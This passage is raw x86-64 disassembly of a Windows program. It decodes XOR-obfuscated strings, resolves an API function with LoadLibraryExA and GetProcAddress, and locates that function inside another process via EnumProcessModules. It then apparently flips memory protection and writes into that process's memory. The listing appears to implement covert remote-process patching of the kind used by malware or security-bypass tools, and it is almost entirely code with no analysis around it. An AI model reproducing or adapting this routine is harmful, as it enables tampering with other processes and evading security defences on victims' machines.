add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5158]
mov eax, dword [rbp + 0x514c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x514c], 1
cmp dword [rbp + 0x514c], 0x27
jle 0x1400098f9
nop
lea rax, [rbp + 0x2200]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5120], 0
jmp 0x1400099a9
mov eax, dword [rbp + 0x5120]
cdqe
mov byte [rbp + rax + 0x2200], 0
add dword [rbp + 0x5120], 1
cmp dword [rbp + 0x5120], 0x27
jle 0x140009992
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x5140], rax
mov rax, qword [rbp + 0x5140]
mov qword [rbp + 0x5138], rax
mov rax, qword [rbp + 0x5138]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009a7a
mov rax, qword [rbp + 0x5140]
mov rdx, qword [rbp + 0x5140]
mov qword [rbp + 0x5130], rdx
mov qword [rbp + 0x5128], rax
mov dword [rbp + 0x5124], 0
jmp 0x140009a70
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
mov rax, qword [rbp + 0x5128]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5130]
mov eax, dword [rbp + 0x5124]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5124], 1
cmp dword [rbp + 0x5124], 0xb
jle 0x140009a0f
nop
lea rax, [rbp + 0x22f4]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5270], rax
lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x5118], rax
mov rax, qword [rbp + 0x5118]
mov qword [rbp + 0x5110], rax
mov rax, qword [rbp + 0x5110]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x140009b66
mov rax, qword [rbp + 0x5118]
mov rdx, qword [rbp + 0x5118]
mov qword [rbp + 0x5108], rdx
mov qword [rbp + 0x5100], rax
mov dword [rbp + 0x50fc], 0
jmp 0x140009b5c
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5100]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5108]
mov eax, dword [rbp + 0x50fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50fc], 1
cmp dword [rbp + 0x50fc], 0xf
jle 0x140009afb
nop
lea rdx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x5270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5268], rax
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x4fc7]
mov rcx, rax
call fcn.140003a04
lea rax, [rbp + 0x21f2]
mov qword [rbp + 0x50f0], rax
mov rax, qword [rbp + 0x50f0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140009c56
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x21f2]
mov qword [rbp + 0x50e8], rdx
mov qword [rbp + 0x50e0], rax
mov dword [rbp + 0x50dc], 0
jmp 0x140009c4c
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50e8]
mov eax, dword [rbp + 0x50dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50dc], 1
cmp dword [rbp + 0x50dc], 0xd
jle 0x140009beb
nop
lea rax, [rbp + 0x21f2]
mov rdx, qword [rbp + 0x5268]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x50d8], 0
jmp 0x140009c9c
mov eax, dword [rbp + 0x50d8]
cdqe
mov byte [rbp + rax + 0x21f2], 0
add dword [rbp + 0x50d8], 1
cmp dword [rbp + 0x50d8], 0xd
jle 0x140009c85
nop
mov rax, qword [rbp + 0x5268]
mov qword [rbp + 0x5260], rax
mov rdx, qword [rbp + 0x5260]
mov rax, qword [rbp + 0x5270]
sub rdx, rax
mov dword [rbp + 0x525c], edx
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x4fc8]
mov rcx, rax
call fcn.140003a86
lea rax, [rbp + 0x21e5]
mov qword [rbp + 0x50d0], rax
mov rax, qword [rbp + 0x50d0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009d9a
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x21e5]
mov qword [rbp + 0x50c8], rdx
mov qword [rbp + 0x50c0], rax
mov dword [rbp + 0x50bc], 0
jmp 0x140009d90
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50c8]
mov eax, dword [rbp + 0x50bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50bc], 1
cmp dword [rbp + 0x50bc], 0xc
jle 0x140009d2f
nop
lea rax, [rbp + 0x21e5]
mov edx, dword [rbp + 0x525c]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x50b8], 0
jmp 0x140009ddf
mov eax, dword [rbp + 0x50b8]
cdqe
mov byte [rbp + rax + 0x21e5], 0
add dword [rbp + 0x50b8], 1
cmp dword [rbp + 0x50b8], 0xc
jle 0x140009dc8
nop
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x1dc]
lea rdx, [rbp + 0x1e0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x14000a121
mov dword [rbp + 0x537c], 0
jmp 0x14000a103
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x14000a0fc
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.140073640
lea rcx, [rbp + 0x4fc9]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.140073670
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x50b0], rax
mov rax, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a8], rax
mov rax, qword [rbp + 0x50a8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009f63
mov rax, qword [rbp + 0x50b0]
mov rdx, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a0], rdx
mov qword [rbp + 0x5098], rax
mov dword [rbp + 0x5094], 0
jmp 0x140009f59
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
mov rax, qword [rbp + 0x5098]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50a0]
mov eax, dword [rbp + 0x5094]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5094], 1
cmp dword [rbp + 0x5094], 0xb
jle 0x140009ef8
nop
lea rdx, [rbp + 0x22f4]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.140030cb0
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x14000a0f0
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.140001450
mov eax, dword [rbp + 0x537c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1e0]
mov qword [rbp + 0x5380], rax
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0x4fca]
mov rcx, rax
call fcn.140003b00
mov eax, dword [rbp + 0x537c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5088], rax
mov rax, qword [rbp + 0x5088]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x14000a0aa
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5080], rdx
mov qword [rbp + 0x5078], rax
mov dword [rbp + 0x5074], 0
jmp 0x14000a0a0
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
mov rax, qword [rbp + 0x5078]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5080]
mov eax, dword [rbp + 0x5074]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5074], 1
cmp dword [rbp + 0x5074], 0xa
jle 0x14000a03f
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5070], 0
jmp 0x14000a0e6
mov eax, dword [rbp + 0x5070]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5070], 1
cmp dword [rbp + 0x5070], 0xa
jle 0x14000a0cf
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400ab6c0
add dword [rbp + 0x537c], 1
mov eax, dword [rbp + 0x537c]
movsxd rdx, eax
mov eax, dword [rbp + 0x1dc]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x140009e2b
mov eax, dword [rbp + 0x525c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5380]
add rax, rdx
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x4fcb]
mov rcx, rax
call fcn.140003b6a
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x5068], rax
mov rax, qword [rbp + 0x5068]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x14000a211
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x5060], rdx
mov qword [rbp + 0x5058], rax
mov dword [rbp + 0x5054], 0
jmp 0x14000a207
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
mov rax, qword [rbp + 0x5058]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5060]
mov eax, dword [rbp + 0x5054]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5054], 1
cmp dword [rbp + 0x5054], 0x13
jle 0x14000a1a6
nop
lea rax, [rbp + 0x1b0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5050], 0
jmp 0x14000a24d
mov eax, dword [rbp + 0x5050]
cdqe
mov byte [rbp + rax + 0x1b0], 0
add dword [rbp + 0x5050], 1
cmp dword [rbp + 0x5050], 0x13
jle 0x14000a236
nop
mov rax, qword [rbp + 0x1d0]
and eax, 0xfff
mov qword [rbp + 0x5250], rax
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x4fcc]
mov rcx, rax
call fcn.140003c1c
lea rax, [rbp + 0x1a3]
mov qword [rbp + 0x5048], rax
mov rax, qword [rbp + 0x5048]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000a339
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x1a3]
mov qword [rbp + 0x5040], rdx
mov qword [rbp + 0x5038], rax
mov dword [rbp + 0x5034], 0
jmp 0x14000a32f
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
mov rax, qword [rbp + 0x5038]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5040]
mov eax, dword [rbp + 0x5034]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5034], 1
cmp dword [rbp + 0x5034], 0xc
jle 0x14000a2ce
nop
lea rax, [rbp + 0x1a3]
mov rdx, qword [rbp + 0x5250]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5030], 0
jmp 0x14000a37f
mov eax, dword [rbp + 0x5030]
cdqe
mov byte [rbp + rax + 0x1a3], 0
add dword [rbp + 0x5030], 1
cmp dword [rbp + 0x5030], 0xc
jle 0x14000a368
nop
mov r10, qword [0x1400ef048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x4fcd]
mov rcx, rax
call fcn.140003c96
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5028], rax
mov rax, qword [rbp + 0x5028]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a492
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5020], rdx
mov qword [rbp + 0x5018], rax
mov dword [rbp + 0x5014], 0
jmp 0x14000a488
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
mov rax, qword [rbp + 0x5018]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5020]
mov eax, dword [rbp + 0x5014]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5014], 1
cmp dword [rbp + 0x5014], 0x27
jle 0x14000a427
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5010], 0
jmp 0x14000a4d7
mov eax, dword [rbp + 0x5010]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5010], 1
cmp dword [rbp + 0x5010], 0x27
jle 0x14000a4c0
nop
mov r10, qword [0x1400ef040]
mov r8, qword [rbp + 0x2490]
mov rcx, qword [0x1400ef030]
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2348]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x4fce]
mov rcx, rax
call fcn.140003de8
lea rax, [rbp + 0x140]
mov qword [rbp + 0x5008], rax
mov rax, qword [rbp + 0x5008]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a604
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x5000], rdx
mov qword [rbp + 0x4ff8], rax
mov dword [rbp + 0x4ff4], 0
jmp 0x14000a5fa
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ff8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5000]
mov eax, dword [rbp + 0x4ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ff4], 1
cmp dword [rbp + 0x4ff4], 0x27
jle 0x14000a599
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x4ff0], 0
jmp 0x14000a649
mov eax, dword [rbp + 0x4ff0]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x4ff0], 1
cmp dword [rbp + 0x4ff0], 0x27
jle 0x14000a632
nop
mov r10, qword [0x1400ef048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x4fcf]
mov rcx, rax
call fcn.140003f3a
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4fe8], rax
mov rax, qword [rbp + 0x4fe8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a75c
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4fe0], rdx
mov qword [rbp + 0x4fd8], rax
mov dword [rbp + 0x4fd4], 0
jmp 0x14000a752
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fd8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4fe0]
mov eax, dword [rbp + 0x4fd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fd4], 1
cmp dword [rbp + 0x4fd4], 0x27
jle 0x14000a6f1
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400c30e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x4fd0], 0
jmp 0x14000a7a1
mov eax, dword [rbp + 0x4fd0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fd0], 1
cmp dword [rbp + 0x4fd0], 0x27
jle 0x14000a78a
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002c73
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.1400028a1
mov rdx, qword [0x1400ef078]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab6c0
cmp ebx, 1
jne 0x14000a811
mov esi, 0
mov eax, esi
jmp 0x14000c157
add rsp, 0x5420
pop rbx
pop rsi
pop rbp
ret